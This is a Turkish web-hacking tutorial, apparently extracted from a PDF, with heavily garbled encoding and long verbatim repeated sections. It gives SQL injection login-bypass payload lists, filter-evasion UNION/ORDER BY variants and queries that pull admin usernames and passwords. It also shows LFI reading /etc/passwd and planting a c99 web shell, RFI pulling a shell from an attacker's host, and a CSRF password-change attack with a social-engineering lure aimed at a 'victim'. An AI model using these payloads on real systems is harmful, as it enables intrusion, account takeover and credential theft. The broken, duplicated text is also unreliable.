rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 31: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

